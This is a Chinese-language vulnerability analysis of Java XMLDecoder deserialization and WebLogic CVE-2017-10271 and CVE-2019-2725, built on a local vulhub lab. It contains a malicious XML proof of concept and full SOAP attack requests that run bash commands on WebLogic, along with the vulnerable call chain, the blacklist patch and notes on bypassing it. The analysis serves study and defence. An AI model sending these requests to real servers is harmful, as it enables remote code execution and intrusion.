Java安全初遇-XMLDecoder与Weblogic整活
2020-07-29 10:49:08 Author: xz.aliyun.com(查看原文) 阅读量:466 收藏

XMLDecoder/XMLEncoder是在JDK1.4版中添加的XML格式序列化持久性方案,可以比较使用Json格式序列化的FastJson库。

使用XMLEncoder来生成表示JavaBeans组件(bean)的XML文档,用XMLDecoder读取使用 XMLEncoder 创建的XML文档获取JavaBeans

XMLEncoder示例

代码:

package XMLDecoder;

import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class Test {
    public static void main(String[] args) throws FileNotFoundException {
        XMLEncoder e = new XMLEncoder(
                new BufferedOutputStream(
                        new FileOutputStream("Test.xml")));
        e.writeObject(new JButton("Hello, world"));
        e.close();
    }
}

XMLEncoder类是ObjectOutputStream的补充,序列化JButton类,生成的序列化XML文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_112" class="java.beans.XMLDecoder">
 <object class="javax.swing.JButton">
  <string>Hello, world</string>
 </object>
</java>

XMLDecoder示例

代码:

package XMLDecoder;

import javax.swing.*;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class Test {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(
                new BufferedInputStream(
                        new FileInputStream("Test.xml")));
        Object result = d.readObject();
        System.out.println(result);
        d.close();
    }
}

使用XMLDecoder读取序列化的XML文档,获取JButton类并打印输出:

javax.swing.JButton
[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@179d3b25,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello, world,defaultCapable=true]

XML文档-对象和元素

XMLEncoder生成的XML序列化文档表示对象,文档中的每个元素都用来描述如何调用对象的方法。

string标签

Hello, World字符串表示的方式为<string>Hello, World</string>

object标签

通过<object>标签表示对象,class属性指定具体类(用于调用其内部方法),method属性指定具体方法名称(比如构造函数的的方法名为new

new JButton("Hello, world")对应的XML文档:

<object class="javax.swing.JButton"  method="new">
  <string>Hello, world</string>
 </object>

void标签

通过void标签表示函数调用、赋值等操作,method属性指定具体的方法名称。

JButton b = new JButton();b.setText("Hello, world");对应的XML文档:

<object class="javax.swing.JButton">
  <void method="setText">
    <string>Hello, world</string>
  </void>
</object>

array标签

通过array标签表示数组,class属性指定具体类,内部void标签的index属性表示根据指定数组索引赋值。

String[] s = new String[3];s[1] = "Hello, world";对应的XML文档:

<array class="java.lang.String" length="3">
  <void index="1">
    <string>Hello, world</string>
  </void>
</array>

XMLEncoder反序列化漏洞

通过XMLEncoder反序列化XML文档时可以执行类方法,若XML文档可控且构造恶意内容,就可以完成任意代码执行。

反序列化代码:

package XMLDecoder;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.lang.ProcessBuilder;
public class xmlDecodeTest {
    public static void main(String[] args) throws FileNotFoundException {
        String path = "src/main/java/XMLDecoder/poc.xml";

        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);

        XMLDecoder a = new XMLDecoder(bis);
        a.readObject();

    }
}

恶意XML:

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <void class="java.lang.ProcessBuilder" method="new">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>open /System/Applications/Calculator.app/</string>
            </void>
        </array>
        <void method="start"/>
    </void>
</java>

使用java.lang.ProcessBuilder进行代码执行,整个恶意XML反序列化后相当于执行代码:

String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();

环境搭建

Weblogic的版本为10.3.6.0,使用P总vulhub中现成的CVE-2017-10271环境:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

修改docker-compose.yml文件,添加远程调试端口8453映射:

version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
    - "7001:7001"
    - "8453:8453"

docker-compose up -d启动容器环境,Weblogic运行在127.0.0.1:7001

CVE-2017-10271攻击数据包:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>touch /tmp/rai4over</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

发送数据包后docker exec -it f3a bash进入容器,查看/tmp/目录文件创建则环境无误。

远程调试

进入容器,配置Weblogic开启远程调试:

vim /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

添加配置代码:

debugFlag="true"
export debugFlag

然后docker-compose restart重启容器。

docker中拷贝Weblogic源码和JDK

docker cp 62bd5880df6d:/root ./weblogic_jars

  • Oracle,Weblogic目录,包含调试时需要用的jarwar包等。
  • JDK,JDK目录,版本为1.6.0_45,调试JDK也选择该目录。

Middleware目录下提取全部的jarwar包到test目录。

cd /Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware
mkdir test
find ./ -name "*.jar" -exec cp {} ./test/ \;
find ./ -name "*.war" -exec cp {} ./test/ \;

/Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware/wlserver_10.3作为IDEA项目打开,设置JDK为拷贝出来的,然后添加包含test目录到项目的Libraries

设置DEBUG模式为Remote,端口为与docker映射出去相同的8453

运行DEBUG,没有问题则调试端口连接成功,控制台应该输出:

Connected to the target VM, address: 'localhost:8453', transport: 'socket'

Servlet中设置好断点,发送Payload,应该能成功断下。

weblogic.wsee.jaxws.WLSServletAdapter#handle

简介

Weblogic的WLS Security组件中的servlet存在XMLEncoder反序列化漏洞,精心构造恶意Soap请求,完成任意代码执行。

受影响版本:

  • WebLogic 10.3.6.0.0

  • WebLogic 12.1.3.0.0

  • WebLogic 12.2.1.1.0

  • WebLogic 12.2.1.2.0

CVE-2017-3506和CVE-2017-10271均是XMLDecoder反序列化漏洞,CVE-2017-3506修补方案为禁用object标签。

CVE-2017-10271是通过voidnew标签对CVE-2017-3506补丁的绕过。

分析

Oracle/Middleware/test/wls-wsat.war!/WEB-INF/web.xml

查看web.xml,可以发现存在漏洞的wls-wsat组件中包含不同的路由,均能触发漏洞。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest

从此出开始分析,var1为POST的恶意数据,var2为数据中的headers,从var2 获取WorkAreaConstants.WORK_AREA_HEADER后赋值给var3且不为null,跳入if分支将var3传入readHeaderOld函数。

weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld

通过XMLStreamWriterFactory.create函数获取恶意的Payloadvar4中,var4的字节数组输入流传入WorkContextXmlInputAdapter的构造函数。

weblogic.wsee.workarea.WorkContextXmlInputAdapter#WorkContextXmlInputAdapter(java.io.InputStream)

包含恶意XML的输入流作为参数传入XMLDecoder的构造函数,将XMLDecoder对象存储在WorkContextXmlInputAdapter对象的xmlDecoder成员中。返回一个WorkContextXmlInputAdapter实例对象到上层的var6var6作为参数传入receive函数。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive

WorkContextXmlInputAdapter对象又被传入了WorkContextMapImpl类的receiveRequest方法。

weblogic.workarea.WorkContextMapImpl#receiveRequest

WorkContextXmlInputAdapter对象作为参数再次被传递到WorkContextLocalMap类的receiveRequest方法。

weblogic.workarea.WorkContextLocalMap#receiveRequest

WorkContextXmlInputAdapter对象被再次传入WorkContextEntryImpl.readEntry

weblogic.workarea.spi.WorkContextEntryImpl#readEntry

WorkContextXmlInputAdapter对象的readUTF函数被调用。

weblogic.wsee.workarea.WorkContextXmlInputAdapter#readUTF

存储的this.xmlDecoder进行反序列化,完成代码执行,此时的调用栈为:

readObject:203, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

补丁

CVE-2017-10271的修复补丁为:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

进行黑名单判断,遇到voidobjectmethodnew等危险标签直接抛出异常。

简介

2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了Oracle WebLogic wls9-async反序列化远程命令执行漏洞。

受影响版本:

  • WebLogic 10.X

  • WebLogic 12.1.3

CVE-2019-2725和CVE-2017-3506、CVE-2017-10271漏洞触发原因相同,均是XMLDecoder反序列化命令执行漏洞。

对于没有打之前安全补丁的目标,公告中提到的/_async/*路径,可以和以前/wls-wsat/*路径使用相同标签进行攻击。

CVE-2019-2725攻击数据包:

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-live
Content-Type: text/xml
Content-Length: 1252

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:wsa="http://www.w3.org/2005/08/addressing"
                  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>touch /tmp/rai4over</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
        <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>

补丁绕过

对于打了补丁的Weblogic,不能够调用函数,但可以利用危险构造函数。

oracle.toplink.internal.sessions.UnitOfWorkChangeSet#UnitOfWorkChangeSet(byte[])

10.3.6版本可用,进行第二次反序列化,几个较好的利用方式:

  • 利用ysoserial-jdk7u21-RCE
  • 利用FileSystemXmlApplicationContext-RCE
  • 利用JtaTransactionManager链进行JNDI注入

org.springframework.transaction.jta.JtaTransactionManager#readObject

跟进initUserTransactionAndTransactionManager

org.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager

跟进lookupUserTransaction函数

org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction

进行JNDI注入

https://www.anquanke.com/post/id/180725

https://www.anquanke.com/post/id/102768

https://www.oracle.com/technical-resources/articles/java/persistence3.html

https://it.baiked.com/jdkapi1.8/java/beans/XMLEncoder.html

https://www.cnblogs.com/ph4nt0mer/p/11775908.html

http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi

https://github.com/lufeirider/CVE-2019-2725


文章来源: http://xz.aliyun.com/t/8039
如有侵权请联系:admin#unsafe.sh